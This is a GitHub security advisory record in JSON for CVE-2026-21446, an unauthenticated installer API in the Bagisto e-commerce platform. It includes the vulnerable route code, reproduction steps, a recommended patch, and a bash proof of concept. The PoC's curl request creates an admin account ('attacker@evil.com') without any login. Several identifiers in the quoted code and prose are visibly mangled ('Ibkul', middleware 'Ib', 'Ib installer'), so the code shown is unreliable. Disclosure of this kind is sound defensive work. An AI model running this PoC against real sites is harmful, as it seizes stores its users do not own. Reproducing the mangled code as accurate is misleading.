{"id":"GHSA-6h7w-v2xr-mqvw","summary":"Bagisto Missing Authentication on Installer API Endpoints","details":"### Vulnerable Code\n\n**File:** `packages/Ibkul/Installer/src/Routes/Ib.php`\n\n```\n\u003c?php\n\nuse Illuminate\\\\Session\\\\Middleware\\\\StartSession;  \nuse Illuminate\\\\Support\\\\Facades\\\\Route;  \nuse Ibkul\\\\Installer\\\\Http\\\\Controllers\\\\InstallerController;\n\nRoute::middleware(\\['Ib', 'installer\\_locale'\\])-\\\u003egroup(function () {  \n    Route::controller(InstallerController::class)-\\\u003egroup(function () {  \n        Route::get('install', 'index')-\\\u003ename('installer.index');\n\n        Route::middleware(StartSession::class)-\\\u003eprefix('install/api')-\\\u003egroup(function () {  \n            Route::post('env-file-setup', 'envFileSetup')-\\\u003ename('installer.env\\_file\\_setup');  \n            Route::post('run-migration', 'runMigration')-\\\u003ename('installer.run\\_migration')-\\\u003ewithoutMiddleware('Ib');  \n            Route::post('run-seeder', 'runSeeder')-\\\u003ename('installer.run\\_seeder')-\\\u003ewithoutMiddleware('Ib');  \n            Route::get('download-sample', 'downloadSample')-\\\u003ename('installer.download\\_sample')-\\\u003ewithoutMiddleware('Ib');  \n            Route::post('admin-config-setup', 'adminConfigSetup')-\\\u003ename('installer.admin\\_config\\_setup')-\\\u003ewithoutMiddleware('Ib');  \n            Route::post('sample-products-setup', 'createSampleProducts')-\\\u003ename('installer.sample\\_products\\_setup')-\\\u003ewithoutMiddleware('Ib');  \n        });  \n    });  \n});\n```\n\nAPI routes remain active even after initial installation is complete, allowing any unauthenticated attacker to:\n\n- Create admin accounts  \n- Modify application configuration  \n- Potentially overwrite existing data\n\nthe underlying **API endpoints** (`/install/api/*`) are directly accessible and exploitable without any authentication. An attacker can bypass the Ib installer entirely by calling the API endpoints directly.\n\n### How to Reproduce\n\n1. The Ib installer UI at `http://localhost:8000/install` has client-side protections  \n2. **However, the API endpoints are directly exploitable:**  \n   - The attack works by calling `/install/api/admin-config-setup` directly via curl/HTTP client  \n   - No CSRF token, session, or authentication is required  \n   - The Ib UI workflow is completely bypassed\n\n### Proof of Concept\n\n```\n#!/bin/bash\n# PoC: Create admin account without authentication\n\n\nTARGET=\"http://localhost:8000\"\n\n\n# Create a new admin account\ncurl -X POST \"$TARGET/install/api/admin-config-setup\" \\\n    -H \"Content-Type: application/json\" \\\n    -d '{\n        \"admin_name\": \"Attacker\",\n        \"admin_email\": \"attacker@evil.com\",\n        \"admin_password\": \"HackedPassword123\"\n    }'\n\n\necho \"\"\necho \"New admin account created!\"\necho \"Login at: $TARGET/admin\"\necho \"Email: attacker@evil.com\"\n```\n\n### Expected Result\n\nThe API should reject unauthenticated requests with 401/403 status.\n\n### Actual Result\n\nThe API accepts the request and creates a new admin account, allowing full administrative access to the e-commerce platform.\n\n### Recommended Patch\n\nAdd installation completion check\n\n```\n// In InstallerController.php or a new middleware\n\n\npublic function __construct()\n{\n    // Check if application is already installed\n    if (file_exists(base_path('.env')) &&\n        config('app.key') &&\n        \\Schema::hasTable('admins') &&\n        \\DB::table('admins')-\u003ecount() \u003e 0) {\n        abort(404, 'Application already installed');\n    }\n}\n```","aliases":["CVE-2026-21446"],"modified":"2026-02-03T03:15:38.352737Z","published":"2026-01-02T21:14:06Z","database_specific":{"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-01-02T21:14:06Z","nvd_published_at":"2026-01-02T20:16:18Z","cwe_ids":["CWE-306"]},"references":[{"type":"WEB","url":"https://github.com/bagisto/bagisto/security/advisories/GHSA-6h7w-v2xr-mqvw"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-21446"},{"type":"WEB","url":"https://github.com/bagisto/bagisto/commit/380c045e48490da740cd505fb192cc45e1809bed"},{"type":"PACKAGE","url":"https://github.com/bagisto/bagisto"}],"affected":[{"package":{"name":"bagisto/bagisto","ecosystem":"Packagist","purl":"pkg:composer/bagisto/bagisto"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.3.0"},{"fixed":"2.3.10"}]}],"versions":["v2.3.0","v2.3.1","v2.3.2","v2.3.3","v2.3.4","v2.3.5","v2.3.6","v2.3.7","v2.3.8","v2.3.9"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/01/GHSA-6h7w-v2xr-mqvw/GHSA-6h7w-v2xr-mqvw.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P"}]}